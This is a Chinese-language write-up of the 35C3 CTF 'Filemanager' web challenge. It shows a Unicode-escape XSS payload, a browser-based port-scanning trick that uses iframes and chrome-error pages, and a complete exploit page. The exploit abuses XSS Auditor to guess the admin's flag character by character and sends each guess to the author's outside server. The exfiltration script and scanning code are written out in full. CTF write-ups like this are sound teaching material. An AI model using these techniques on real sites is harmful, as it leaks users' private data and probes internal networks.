35C3 CTF Filemanager Wrtieup

2019-01-09 10,431

Check out my web-based filemanager running at https://filemanager.appspot.com.

The admin is using it to store a flag, can you get it? You can reach the admin's chrome-headless at: nc 35.246.157.192 1


题目描述

一个在线文件存储系统:

  • 可以自定义文件名,文件内容,并对文件进行存储。

image-20190104174603465.png

  • 可以根据查询条件对已经存储的文件内容进行搜索,并对存在的内容进行高亮显示。

image-20190104210959103.png

连上nc端口,首先发现使用了proof-of work模块进行了类似验证码校验。

校验成功后可以输入URL,发现可以对任意URL进行访问。

image-20190105111407338.png

使用nc查看题目机器人请求头信息:

GET / HTTP/1.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/72.0.3617.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate

可以发现使用的HeadlessChrome浏览器。

安全脉搏:35C3 CTF Filemanager Wrtieup

无法解决的XSS

管理员的Flag存在这个文件系统里,还能控制管理员访问页面,Xss可能是个不错的选择,在搜索成功的页面发现了XSS。

 <script>
    (()=>{
      for (let pre of document.getElementsByTagName('pre')) {
        let text = pre.innerHTML;
        let q = 'DEF';
        let idx = text.indexOf(q);
        pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
      }
    })();
  </script>

高亮功能引起,经过测试这里做了一些实体过滤,但是这里的的模板字符串使用了${expression},JavaScript字符变量支持Unicode,编码即可绕过。

https://filemanager.appspot.com/search?q=%5Cu003c%5Cu0069%5Cu006d%5Cu0067%5Cu0020%5Cu0073%5Cu0072%5Cu0063%5Cu003d%5Cu0078%5Cu0020%5Cu006f%5Cu006e%5Cu0065%5Cu0072%5Cu0072%5Cu006f%5Cu0072%5Cu003d%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074%5Cu0028%5Cu0027%5Cu0072%5Cu0061%5Cu0069%5Cu0034%5Cu006f%5Cu0076%5Cu0065%5Cu0072%5Cu0027%5Cu0029%5Cu003b%5Cu003e

image-20190105152233020.png

触发这个XSS的前提是搜索成功并且需要知道文件的全部内容,但是我们不清楚管理员bot的文件内容,使用自己账号尝试CSRF自行添加文件失败。

image-20190105154254129.png

查看首页源码,发现因该是添加了CSRF校验。

<script>
function doSubmit(e) {
  e.preventDefault();
  document.getElementById('submit-button').disabled = true;
  let filename = document.getElementById('filename').value;
  const data = new FormData(e.target);
  fetch('/create', {method: 'POST', body: data, headers: {XSRF: '1'}}).then(r=>{
    document.getElementById('submit-button').disabled = false;
    if (r.ok) {
      let li = document.createElement('li');
      let a = document.createElement('a');
      li.appendChild(a);
      a.innerText = filename;
      a.href = `/read?filename=${filename}`;
      document.getElementById('file-list').appendChild(li);
    } else {
      console.log('error creating file');
    }
  }).catch((e)=>{
    console.log('error creating file '+e);
    document.getElementById('submit-button').disabled = false;
  });
  return false;
}

var form = document.getElementById('create-form');
form.addEventListener("submit", doSubmit);
</script>

安全脉搏:35C3 CTF Filemanager Wrtieup

解决

CSRF+XSS这里因该是不行的,这里需要使用Chrome中的chrome-error://chromewebdata/页面完成题目。

Chrome浏览器Web端口扫描

Chrome浏览器的一个小技巧:

Chrome浏览器中的iframe为例,在对一个URL发送请求时,添加onload事件,不管是否请求成功,都会触发onload事件,因此我们无法单纯通过onload事件进行判断请求结果(端口是否开放)。

但是Chrome浏览器在向一个没有被服务侦听的端口发送请求时,将会显示错误页面,Chrome此时的URL已经变为chrome-error://chromewebdata/。

image-20190105131422153.png

onload、chrome-error两者结合即可实现Web端口扫描,Demo代码如下:

<script>
    var iframe = document.createElement('iframe');
    var url = "http://127.0.0.1:1089/";
    iframe.onload = function () {
        iframe.onload = function () {
            console.log('端口不存在');
        };
        iframe.src = iframe.src + "#";
    };
    iframe.src = url;
    document.body.appendChild(iframe);
</script>

先给iframe设置src为要扫描的Web端口,接着添加onload事件,修改src为请求src + "#",并在内部重新定义了onload事件。

onloads事件发生在资源加载完毕后:

如果扫描的端口存在,那么当前iframe资源为扫描的资源,同URL添加#(hash)是不会再次加载资源。

如果扫描的端口不存在,那么当前iframe资源为chrome-error://chromewebdata/,修改src后就会重新加载资源,就会触发内部重新定义的onload事件。

安全脉搏:35C3 CTF Filemanager Wrtieup

利用XSS Auditor和chrome-error

搜索的请求如下:

https://filemanager.appspot.com/search?q=Rai4over

使用Webapp搜索文件内容的匹配成功和失败的结果是不一样的,成功的时候会返回包含用于高亮的js:

<script>
    (()=>{
      for (let pre of document.getElementsByTagName('pre')) {
        let text = pre.innerHTML;
        let q = 'Rai4over';
        let idx = text.indexOf(q);
        pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
      }
    })();
  </script>

失败时则极为简单:

 <h1>no results</h1>

正确的思路是利用搜索功能,让管理员bot直接触发搜索请求,暴力猜解Flag,但是需要面临搜索结果判断和Flag数据外带两个问题,利用XSS Auditor和chrome-error即可解决。

搜索成功后,页面包含用于高亮的js,我们在URL中随便添加参数,内容为响应中的js内容,仅仅用于欺骗XSS Auditor,误以为页面遭受反射性XSS攻击进而进行拦截。

https://filemanager.appspot.com/search?q=Rai4over&noob=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b

image-20190105144604173.png

image-20190105140648543.png

把请求利用iframe进行加载,再添加如上的onload事件。

Xss拦截页面出现后,进入chrome-error://chromewebdata/页面,和端口扫描部分的味道一样了,利用#判断页面URL已经变化,重新加载资源,并且触发内部定义的onload事件,完成FLAG数据外带。

搜索失败后,利用#判断页面URL没有发生变化,不重新加载资源,无特殊操作。

安全脉搏:35C3 CTF Filemanager Wrtieup

让bot直接访问exp,然后vps通过log查看外带的Flag,exp如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>filemanager</title>
</head>
<body>
<script>
    function sleep(time) {
        var start = new Date().getTime();
        while (true) if (new Date().getTime() - start > time) break;
    }
    function fuzzflag(char) {
        var iframe = document.createElement('iframe');
        var calls = 0;
        iframe.onload = function () {
            calls++;
            if (calls > 1) {
                iframe.onload = () => {
                };
                iframe.src = 'http://www.rai4over.cn/35c3/?flag=' + escape(flag + char);
            }
            iframe.src = iframe.src + '#';
        };
        iframe.src = URL.replace('FLAG', flag + char);
        document.body.appendChild(iframe);
    }
    var URL = 'https://filemanager.appspot.com/search?q=FLAG&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b';
    var strlist = '_Fabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    var flag = '35C3';/*35C3_xss_auditor_for_the_win*/
    for (var prop in strlist) {
        fuzzflag(strlist[prop]);
        sleep(50);
    }
</script>
</body>
</html>

image-20190105145839458.png

安全脉搏:35C3 CTF Filemanager Wrtieup


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/94995.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号